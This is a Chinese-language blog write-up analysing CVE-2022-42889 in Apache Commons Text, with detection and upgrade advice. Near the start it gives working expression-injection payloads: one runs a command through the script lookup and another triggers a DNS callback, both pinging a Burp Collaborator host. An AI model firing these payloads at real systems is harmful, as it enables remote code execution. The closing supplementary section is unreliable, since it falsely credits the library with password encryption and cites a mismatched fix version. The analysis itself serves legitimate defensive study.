0x00 前言
所幸遇到,就简单看看,其中没有啥比较难的地方,仅做记录。10月13日的漏洞。
cve链接可以看下面这个:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889
git地址:
https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
0x01 漏洞利用方式
写了一个简单的demo,先看利用结果,在一定条件下可以rce。基础payload用表达式注入的方式就行。
直接给payload的,懒得看图片再敲一遍${script:javascript:(java.lang.Runtime).getRuntime().exec('ping 97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net')}
0x02 原理简要分析
出现问题的点在StringSubstitutor的replace方法这。
接着往下跟:substitute,会进去进行解析循环
走到resolveVariable就会进行look的调用
因为找到StringSubstitutor调用的ScriptStringLookup
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName);
获取加载器
加载器差不多就是这些,也可以调试自己看。
最后调用return Objects.toString(scriptEngine.eval(script), (String)null);
进行执行。
除了可以使用script:
也可以使用dns:
,http:
。
dns底层:这个可以用来测试
payload
${dns:97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net}
http底层:
0x03 检测和防护
并不是版本低就一定会触发这个漏洞,主要还是通过StringSubstitutor进行触发,StrSubstitutor是不会触发的
StrSubstitutor这里只有这个操作。
1、检测方式 全局搜索StringSubstitutor的调用。目前已知,不排除其他利用方式
防护可参考:https://github.com/apache/commons-text/releases/tag/rel%2Fcommons-text-1.10.0
2、直接升级1.10.1就行
补充
Apache Commons Text
Apache Commons Text是Apache软件基金会中的一个项目,提供了许多有用的文本处理库,包括字符串操作、文本格式化、密码加密和随机字符串生成等。
Apache Commons Text库的主要目标是提供高效、可靠和易于使用的文本处理库,帮助开发人员更轻松地构建文本相关的应用程序。它是基于Apache Commons Lang项目的,在Lang库的基础上提供了更多的文本处理功能。
Apache Commons Text的主要功能包括:
- 字符串操作:包括去除空格、去除重复字符、字符串分割、大小写转换等;
- 文本格式化:支持日期、数字、货币等文本格式化;
- 密码加密:提供多种加密和哈希算法,包括MD5、SHA、BCrypt等;
- 随机字符串生成:支持生成各种类型的随机字符串,包括数字、字母、符号等。
Apache Commons Text提供了很多实用的文本处理工具,能够帮助开发人员更高效地处理文本数据。
StrSubstitutor
StrSubstitutor是一个Apache Commons Lang库中的Java类,用于在字符串中进行值替换。它可以将给定的字符串模板中的占位符替换为特定的值,例如属性文件中的变量或Map中的键值对。使用StrSubstitutor可以使字符串替换更加容易和可读,并且可以避免手动操作字符串的缺点,例如错误的字符串拼写和混淆的变量顺序。
StringSubstitutor
StringSubstitutor 是一个 Java 库,用于执行字符串的模板化替换。它可以用于替换属性文件、XML 文件、配置文件以及任何其他文本文件中的变量。StringSubstitutor 可以快速地将字符串中指定格式的变量替换为指定的值,支持多种替换方式,如:
- 通过 Map 替换变量
- 通过 JavaBean 替换变量
- 通过回调函数替换变量
StringSubstitutor 提供了多种定界符,如 key、{key}、key、{key:defaultValue} 等。它可以轻松处理不同的变量替换需求,并且可以自定义定界符、转义字符等。
StringSubstitutor 的使用非常简单,只需要创建一个实例,设置替换变量的方式和模板字符串,就可以进行替换操作了。由于 StringSubstitutor 使用了模板缓存机制,所以多次替换同一模板字符串时,性能也非常高效。